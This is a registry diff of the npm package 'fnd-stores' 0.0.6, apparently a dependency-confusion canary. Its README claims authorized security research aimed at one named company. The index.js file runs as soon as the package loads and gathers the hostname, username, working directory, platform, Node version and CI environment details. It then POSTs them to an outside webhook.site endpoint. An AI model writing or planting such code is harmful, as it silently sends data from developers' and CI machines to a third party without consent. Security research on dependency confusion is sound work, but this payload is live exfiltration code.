fnd-stores 0.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +5 -0
- package/index.js +23 -0
- package/package.json +10 -0
package/README.md
ADDED
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
# fnd-stores
|
|
2
|
+
|
|
3
|
+
This package was published as part of authorized security research (dependency confusion vulnerability disclosure).
|
|
4
|
+
|
|
5
|
+
If you are a developer at Reclame Aqui / Obvi Brasil and received this via your CI pipeline, please contact your security team immediately.
|
package/index.js
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
|
|
4
|
+
const payload = JSON.stringify({
|
|
5
|
+
t: 'fnd-stores-canary',
|
|
6
|
+
h: os.hostname(),
|
|
7
|
+
p: os.platform(),
|
|
8
|
+
w: process.cwd(),
|
|
9
|
+
ci: !!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.JENKINS_URL || process.env.CIRCLECI || process.env.GITLAB_CI),
|
|
10
|
+
ci_env: process.env.CI_NAME || process.env.GITHUB_WORKFLOW || process.env.JENKINS_JOB_NAME || 'none',
|
|
11
|
+
nv: process.version,
|
|
12
|
+
u: os.userInfo().username
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
const req = https.request({
|
|
16
|
+
hostname: 'webhook.site',
|
|
17
|
+
path: '/fd86a1ff-342a-44e9-8fc3-94c9c32bb0d6',
|
|
18
|
+
method: 'POST',
|
|
19
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
20
|
+
}, () => {});
|
|
21
|
+
req.on('error', () => {});
|
|
22
|
+
req.write(payload);
|
|
23
|
+
req.end();
|